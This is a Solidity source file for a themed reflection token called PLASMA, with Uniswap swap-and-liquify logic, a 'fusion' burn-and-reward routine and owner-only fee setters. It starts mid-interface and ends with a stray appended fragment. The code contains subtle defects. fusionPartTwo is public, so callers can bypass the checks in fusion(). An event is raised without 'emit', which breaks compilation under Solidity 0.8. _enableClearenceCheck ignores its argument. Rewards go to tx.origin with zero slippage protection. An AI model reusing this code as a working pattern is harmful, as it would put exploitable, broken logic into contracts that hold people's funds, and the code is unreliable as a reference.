* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File: Plasma.sol
pragma solidity ^0.8.0;
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Pair {
function sync() external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
}
pragma solidity ^0.8.0;
contract MrFusion {
constructor() {}
}
contract Reactor {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
PLASMA private _tokenContract;
constructor(PLASMA tokenContract, IUniswapV2Router02 uniswapV2Router) {
_tokenContract = tokenContract;
_uniswapV2Router = uniswapV2Router;
}
receive() external payable {}
function rebalance() external returns (uint256 rebal) {
swapEthForTokens(address(this).balance);
}
function swapEthForTokens(uint256 EthAmount) private {
address[] memory uniswapPairPath = new address[](2);
uniswapPairPath[0] = _uniswapV2Router.WETH();
uniswapPairPath[1] = address(_tokenContract);
_uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value : EthAmount
}(0, uniswapPairPath, address(this), block.timestamp);
}
}
contract TimeCircuts {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
PLASMA private _tokenContract;
constructor(PLASMA tokenContract, IUniswapV2Router02 uniswapV2Router) {
_tokenContract = tokenContract;
_uniswapV2Router = uniswapV2Router;
}
function swapTokens(address pairTokenAddress, uint256 tokenAmount)
external
{
uint256 initialPairTokenBalance =
IERC20(pairTokenAddress).balanceOf(address(this));
swapTokensForTokens(pairTokenAddress, tokenAmount);
uint256 newPairTokenBalance =
IERC20(pairTokenAddress).balanceOf(address(this)).sub(
initialPairTokenBalance
);
IERC20(pairTokenAddress).transfer(
address(_tokenContract),
newPairTokenBalance
);
}
function swapTokensForTokens(address pairTokenAddress, uint256 tokenAmount)
private
{
address[] memory path = new address[](2);
path[0] = address(_tokenContract);
path[1] = pairTokenAddress;
_tokenContract.approve(address(_uniswapV2Router), tokenAmount);
// make the swap
_uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of pair token
path,
address(this),
block.timestamp
);
}
}
contract PLASMA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IUniswapV2Router02 public immutable _uniswapV2Router;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
address public _anomalieAddress;
address public _mrFusion;
uint256 public _initialMrFusionLockAmount;
uint256 public _initialFluxAmount;
address public _uniswapETHPool;
address public _fluxCapacitor;
address public _orbs;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 6300000e18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public _tFeeTotal;
uint256 public _tBurnTotal;
string private _name = "PLASMA";
string private _symbol = "PLASMA";
uint8 private _decimals = 18;
uint256 public _feeDecimals = 1;
uint256 public _taxFee;
uint256 public _lockFee;
uint256 public _maxTxAmount = 100000e18;
uint256 public _minTokensBeforeSwap = 1000e18;
uint256 public _minInterestForReward = 10e18;
uint256 private _autoSwapCallerFee = 200e18;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
bool public tradingEnabled;
bool public clearenceCheckEnabled;
address private currentPairTokenAddress;
address private currentPoolAddress;
uint256 private _liquidityRemoveFee = 2;
uint256 private _fusionCallerFee = 5;
uint256 private _minTokenForfusion = 1000e18;
uint256 private _lastfusion;
uint256 private _fusionInterval = 1 hours;
uint256 private _fluxCapacitorFee = 10;
uint256 private _powerFee = 5;
event Loged(address indexed madScientist, uint256 amount);
event Unloged(address indexed madScientist, uint256 amount);
event FeeDecimalsUpdated(uint256 taxFeeDecimals);
event TaxFeeUpdated(uint256 taxFee);
event LockFeeUpdated(uint256 lockFee);
event MaxTxAmountUpdated(uint256 maxTxAmount);
event WhitelistUpdated(address indexed pairTokenAddress);
event TradingEnabled();
event ClearenceCheckEnabledUpdated(bool enabled);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
address indexed pairTokenAddress,
uint256 tokensSwapped,
uint256 pairTokenReceived,
uint256 tokensIntoLiqudity
);
event Rebalance(uint256 tokenBurnt);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event AutoSwapCallerFeeUpdated(uint256 autoSwapCallerFee);
event MinInterestForRewardUpdated(uint256 minInterestForReward);
event LiquidityRemoveFeeUpdated(uint256 liquidityRemoveFee);
event fusionCallerFeeUpdated(uint256 rebalnaceCallerFee);
event MinTokenForfusionUpdated(uint256 minRebalanceAmount);
event fusionIntervalUpdated(uint256 rebalanceInterval);
event AnomaliesAddressUpdated(address anomalies);
event PowerFeeUpdated(uint256 powerFee);
event fluxCapacitorUpdated(address fluxCapacitor);
event fluxCapacitorFeeUpdated(uint256 fluxCapacitorFee);
event orbsUpdated(address orbs);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
Reactor public reactor;
TimeCircuts public timeCircuts;
constructor(
IUniswapV2Router02 uniswapV2Router,
uint256 initialMrFusionLockAmount
) {
_lastfusion = block.timestamp;
_uniswapV2Router = uniswapV2Router;
_mrFusion = address(new MrFusion());
_initialMrFusionLockAmount = initialMrFusionLockAmount;
reactor = new Reactor(this, uniswapV2Router);
timeCircuts = new TimeCircuts(this, uniswapV2Router);
currentPoolAddress = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
currentPairTokenAddress = uniswapV2Router.WETH();
_uniswapETHPool = currentPoolAddress;
updateSwapAndLiquifyEnabled(false);
_rOwned[_msgSender()] = reflectionFromToken(
_tTotal.sub(_initialMrFusionLockAmount),
false
);
_rOwned[_mrFusion] = reflectionFromToken(
_initialMrFusionLockAmount,
false
);
emit Transfer(
address(0),
_msgSender(),
_tTotal.sub(_initialMrFusionLockAmount)
);
emit Transfer(address(0), _mrFusion, _initialMrFusionLockAmount);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"PLASMA: Excluded addresses cannot call this function"
);
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"PLASMA: Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(
account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
"PLASMA: We can not exclude Uniswap router."
);
require(
account != address(this),
"PLASMA: We can not exclude contract self."
);
require(
account != _mrFusion,
"PLASMA: We can not exclude reweard wallet."
);
require(!_isExcluded[account], "PLASMA: Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "PLASMA: Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "PLASMA: approve from the zero address");
require(spender != address(0), "PLASMA: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "PLASMA: transfer from the zero address");
require(
recipient != address(0),
"PLASMA: transfer to the zero address"
);
require(
amount > 0,
"PLASMA: Transfer amount must be greater than zero"
);
if (sender != owner() && recipient != owner() && !inSwapAndLiquify) {
require(
amount <= _maxTxAmount,
"PLASMA: Transfer amount exceeds the maxTxAmount."
);
if (
(_msgSender() == currentPoolAddress ||
_msgSender() == address(_uniswapV2Router)) &&
!tradingEnabled
) require(false, "PLASMA: trading is disabled.");
}
if (!inSwapAndLiquify) {
uint256 lockedBalanceForPool = balanceOf(address(this));
bool overMinTokenBalance =
lockedBalanceForPool >= _minTokensBeforeSwap;
if (
overMinTokenBalance &&
msg.sender != currentPoolAddress &&
swapAndLiquifyEnabled
) {
if (currentPairTokenAddress == _uniswapV2Router.WETH())
swapAndLiquifyForEth(lockedBalanceForPool);
else
swapAndLiquifyForTokens(
currentPairTokenAddress,
lockedBalanceForPool
);
}
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
receive() external payable {}
function swapAndLiquifyForEth(uint256 lockedBalanceForPool)
private
lockTheSwap
{
// split the contract balance except swapCallerFee into halves
uint256 lockedForSwap = lockedBalanceForPool.sub(_autoSwapCallerFee);
uint256 half = lockedForSwap.div(2);
uint256 otherHalf = lockedForSwap.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half);
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidityForEth(otherHalf, newBalance);
emit SwapAndLiquify(
_uniswapV2Router.WETH(),
half,
newBalance,
otherHalf
);
_transfer(address(this), tx.origin, _autoSwapCallerFee);
_sendRewardInterestToPool();
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
// make the swap
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidityForEth(uint256 tokenAmount, uint256 ethAmount)
private
{
// approve token transfer to cover all possible scenarios
_approve(address(this), address(_uniswapV2Router), tokenAmount);
// add the liquidity
_uniswapV2Router.addLiquidityETH{value : ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapAndLiquifyForTokens(
address pairTokenAddress,
uint256 lockedBalanceForPool
) private lockTheSwap {
// split the contract balance except swapCallerFee into halves
uint256 lockedForSwap = lockedBalanceForPool.sub(_autoSwapCallerFee);
uint256 half = lockedForSwap.div(2);
uint256 otherHalf = lockedForSwap.sub(half);
_transfer(address(this), address(timeCircuts), half);
uint256 initialPairTokenBalance =
IERC20(pairTokenAddress).balanceOf(address(this));
// swap tokens for pairToken
timeCircuts.swapTokens(pairTokenAddress, half);
uint256 newPairTokenBalance =
IERC20(pairTokenAddress).balanceOf(address(this)).sub(
initialPairTokenBalance
);
// add liquidity to uniswap
addLiquidityForTokens(pairTokenAddress, otherHalf, newPairTokenBalance);
emit SwapAndLiquify(
pairTokenAddress,
half,
newPairTokenBalance,
otherHalf
);
_transfer(address(this), tx.origin, _autoSwapCallerFee);
_sendRewardInterestToPool();
}
function addLiquidityForTokens(
address pairTokenAddress,
uint256 tokenAmount,
uint256 pairTokenAmount
) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(_uniswapV2Router), tokenAmount);
IERC20(pairTokenAddress).approve(
address(_uniswapV2Router),
pairTokenAmount
);
// add the liquidity
_uniswapV2Router.addLiquidity(
address(this),
pairTokenAddress,
tokenAmount,
pairTokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function fusion() public lockTheSwap {
if (clearenceCheckEnabled == true) {
require(
IERC1155(_orbs).balanceOf(msg.sender, 3) >= 1,
"PLASMA: one much be holding the PLASMA orb to yeild such power"
);
require(
block.timestamp > _lastfusion + _fusionInterval,
"PLASMA: Too Soon."
);
fusionPartTwo();
} else if (clearenceCheckEnabled == false) {
require(
balanceOf(_msgSender()) >= _minTokenForfusion,
"PLASMA: Access denied, need more PLASMA to fusion "
);
require(
block.timestamp > _lastfusion + _fusionInterval,
"PLASMA: Too Soon."
);
fusionPartTwo();
}
}
function fusionPartTwo() public lockTheSwap {
_lastfusion = block.timestamp;
uint256 amountToRemove =
IERC20(_uniswapETHPool)
.balanceOf(address(this))
.mul(_liquidityRemoveFee)
.div(100);
removeLiquidityETH(amountToRemove);
reactor.rebalance();
uint256 tNewTokenBalance = balanceOf(address(reactor));
uint256 tRewardForCaller =
tNewTokenBalance.mul(_fusionCallerFee).div(100);
uint256 tRemaining = tNewTokenBalance.sub(tRewardForCaller);
uint256 toAnomalie = tRemaining.mul(_powerFee).div(100);
addAnomalie(toAnomalie);
uint256 aftPower = tRemaining.sub(toAnomalie);
uint256 flux = aftPower.mul(_fluxCapacitorFee).div(100);
addFlux(flux);
uint256 tBurn = aftPower.sub(flux);
uint256 currentRate = _getRate();
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[_msgSender()] = _rOwned[_msgSender()].add(
tRewardForCaller.mul(currentRate)
);
_rOwned[address(reactor)] = 0;
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
emit Transfer(address(reactor), address(_anomalieAddress), toAnomalie);
emit Transfer(address(reactor), _msgSender(), tRewardForCaller);
emit Transfer(address(reactor), address(0), tBurn);
emit Rebalance(tBurn);
}
function addFlux(uint256 flux) private {
uint256 currentRate = _getRate();
_rOwned[_fluxCapacitor] = _rOwned[_fluxCapacitor].add(
flux.mul(currentRate)
);
emit Transfer(address(reactor), _fluxCapacitor, flux);
}
function addAnomalie(uint256 toAnomalie) private {
uint256 currentRate = _getRate();
_rOwned[_anomalieAddress] = _rOwned[_anomalieAddress].add(
toAnomalie.mul(currentRate)
);
emit Transfer(address(reactor), _anomalieAddress, toAnomalie);
}
function removeLiquidityETH(uint256 lpAmount)
private
returns (uint256 ETHAmount)
{
IERC20(_uniswapETHPool).approve(address(_uniswapV2Router), lpAmount);
(ETHAmount) = _uniswapV2Router
.removeLiquidityETHSupportingFeeOnTransferTokens(
address(this),
lpAmount,
0,
0,
address(reactor),
block.timestamp
);
}
function _sendRewardInterestToPool() private {
uint256 tRewardInterest =
balanceOf(_mrFusion).sub(_initialMrFusionLockAmount);
if (tRewardInterest > _minInterestForReward) {
uint256 rRewardInterest =
reflectionFromToken(tRewardInterest, false);
_rOwned[currentPoolAddress] = _rOwned[currentPoolAddress].add(
rRewardInterest
);
_rOwned[_mrFusion] = _rOwned[_mrFusion].sub(rRewardInterest);
emit Transfer(_mrFusion, currentPoolAddress, tRewardInterest);
IUniswapV2Pair(currentPoolAddress).sync();
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLock
) = _getValues(tAmount);
uint256 rLock = tLock.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (inSwapAndLiquify) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_rOwned[address(this)] = _rOwned[address(this)].add(rLock);
_reflectFee(rFee, tFee);
emit Transfer(sender, address(this), tLock);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLock
) = _getValues(tAmount);
uint256 rLock = tLock.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (inSwapAndLiquify) {
_tOwned[recipient] = _tOwned[recipient].add(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_rOwned[address(this)] = _rOwned[address(this)].add(rLock);
_reflectFee(rFee, tFee);
emit Transfer(sender, address(this), tLock);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLock
) = _getValues(tAmount);
uint256 rLock = tLock.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (inSwapAndLiquify) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_rOwned[address(this)] = _rOwned[address(this)].add(rLock);
_reflectFee(rFee, tFee);
emit Transfer(sender, address(this), tLock);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
uint256 currentRate = _getRate();
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLock
) = _getValues(tAmount);
uint256 rLock = tLock.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (inSwapAndLiquify) {
_tOwned[recipient] = _tOwned[recipient].add(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_rOwned[address(this)] = _rOwned[address(this)].add(rLock);
_reflectFee(rFee, tFee);
emit Transfer(sender, address(this), tLock);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLock) =
_getTValues(tAmount, _taxFee, _lockFee, _feeDecimals);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tLock, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLock);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 lockFee,
uint256 feeDecimals
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(10 ** (feeDecimals + 2));
uint256 tLockFee = tAmount.mul(lockFee).div(10 ** (feeDecimals + 2));
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLockFee);
return (tTransferAmount, tFee, tLockFee);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLock,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLock = tLock.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLock);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() public view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function calculateFee(
uint256 _amount,
uint256 _feeDeci,
uint256 _percentage
) public pure returns (uint256 amount) {
amount = _amount.mul(_percentage).div(10 ** (uint256(_feeDeci) + 2));
}
function _getCurrentSupply() public view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function getCurrentPoolAddress() public view returns (address) {
return currentPoolAddress;
}
function getCurrentPairTokenAddress() public view returns (address) {
return currentPairTokenAddress;
}
function getLiquidityRemoveFee() public view returns (uint256) {
return _liquidityRemoveFee;
}
function getfusionCallerFee() public view returns (uint256) {
return _fusionCallerFee;
}
function getMinTokenForfusion() public view returns (uint256) {
return _minTokenForfusion;
}
function getLastfusion() public view returns (uint256) {
return _lastfusion;
}
function getfusionInterval() public view returns (uint256) {
return _fusionInterval;
}
function getFluxCapacitorAddress() public view returns (address) {
return _fluxCapacitor;
}
function _setFeeDecimals(uint256 feeDecimals) external onlyOwner() {
require(
feeDecimals >= 0 && feeDecimals <= 2,
"PLASMA: fee decimals should be in 0 - 2"
);
_feeDecimals = feeDecimals;
emit FeeDecimalsUpdated(feeDecimals);
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(
taxFee >= 0 && taxFee <= 10 * 10 ** _feeDecimals,
"PLASMA: taxFee should be in 0 - 10"
);
_taxFee = taxFee;
emit TaxFeeUpdated(taxFee);
}
function _setLockFee(uint256 lockFee) external onlyOwner() {
require(
lockFee >= 0 && lockFee <= 10 * 10 ** _feeDecimals,
"PLASMA: lockFee should be in 0 - 10"
);
_lockFee = lockFee;
emit LockFeeUpdated(lockFee);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(
maxTxAmount >= 50000e18,
"PLASMA: maxTxAmount should be greater than 50000e18"
);
_maxTxAmount = maxTxAmount;
emit MaxTxAmountUpdated(maxTxAmount);
}
function _setMinTokensBeforeSwap(uint256 minTokensBeforeSwap)
external
onlyOwner()
{
require(
minTokensBeforeSwap >= 1e18 && minTokensBeforeSwap <= 25000e18,
"PLASMA: minTokenBeforeSwap should be in 1e18 - 25000e18"
);
require(
minTokensBeforeSwap > _autoSwapCallerFee,
"PLASMA: minTokenBeforeSwap should be greater than autoSwapCallerFee"
);
_minTokensBeforeSwap = minTokensBeforeSwap;
emit MinTokensBeforeSwapUpdated(minTokensBeforeSwap);
}
function _setAutoSwapCallerFee(uint256 autoSwapCallerFee)
external
onlyOwner()
{
require(
autoSwapCallerFee >= 1e18,
"PLASMA: autoSwapCallerFee should be greater than 1e18"
);
_autoSwapCallerFee = autoSwapCallerFee;
emit AutoSwapCallerFeeUpdated(autoSwapCallerFee);
}
function _setMinInterestForReward(uint256 minInterestForReward)
external
onlyOwner()
{
_minInterestForReward = minInterestForReward;
emit MinInterestForRewardUpdated(minInterestForReward);
}
function _setLiquidityRemoveFee(uint256 liquidityRemoveFee)
external
onlyOwner()
{
require(
liquidityRemoveFee >= 1 && liquidityRemoveFee <= 10,
"PLASMA: liquidityRemoveFee should be in 1 - 10"
);
_liquidityRemoveFee = liquidityRemoveFee;
emit LiquidityRemoveFeeUpdated(liquidityRemoveFee);
}
function _setfusionCallerFee(uint256 fusionCallerFee) external onlyOwner() {
require(
fusionCallerFee >= 1 && fusionCallerFee <= 15,
"PLASMA: fusionCallerFee should be in 1 - 15"
);
_fusionCallerFee = fusionCallerFee;
emit fusionCallerFeeUpdated(fusionCallerFee);
}
function _setMinTokenForfusion(uint256 minTokenForfusion)
external
onlyOwner()
{
_minTokenForfusion = minTokenForfusion;
emit MinTokenForfusionUpdated(minTokenForfusion);
}
function _setfusionInterval(uint256 fusionInterval) external onlyOwner() {
_fusionInterval = fusionInterval;
emit fusionIntervalUpdated(fusionInterval);
}
function _setfluxCapacitorAddress(address fluxCapacitor)
external
onlyOwner()
{
_fluxCapacitor = fluxCapacitor;
emit fluxCapacitorUpdated(fluxCapacitor);
}
function _setOrbsAddress(address orbs) external onlyOwner() {
_orbs = orbs;
emit orbsUpdated(orbs);
}
function _setFluxCapacitorFee(uint256 fluxCapacitorFee)
external
onlyOwner()
{
_fluxCapacitorFee = fluxCapacitorFee;
emit fluxCapacitorFeeUpdated(fluxCapacitorFee);
}
function _setPowerFee(uint256 powerFee) external onlyOwner() {
_powerFee = powerFee;
emit PowerFeeUpdated(powerFee);
}
function _setAnomalies(address payable anomalieAddress)
external
onlyOwner()
{
_anomalieAddress = anomalieAddress;
emit AnomaliesAddressUpdated(anomalieAddress);
}
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _updateWhitelist(address poolAddress, address pairTokenAddress)
public
onlyOwner()
{
require(poolAddress != address(0), "PLASMA: Pool address is zero.");
require(
pairTokenAddress != address(0),
"PLASMA: Pair token address is zero."
);
require(
pairTokenAddress != address(this),
"PLASMA: Pair token address self address."
);
require(
pairTokenAddress != currentPairTokenAddress,
"PLASMA: Pair token address is same as current one."
);
currentPoolAddress = poolAddress;
currentPairTokenAddress = pairTokenAddress;
emit WhitelistUpdated(pairTokenAddress);
}
function _enableTrading() external onlyOwner() {
tradingEnabled = true;
TradingEnabled();
}
function _enableClearenceCheck(bool _enabled) public onlyOwner {
clearenceCheckEnabled = true;
emit ClearenceCheckEnabledUpdated(_enabled);
}
} | split the contract balance except swapCallerFee into halves swap tokens for pairToken add liquidity to uniswap | function swapAndLiquifyForTokens(
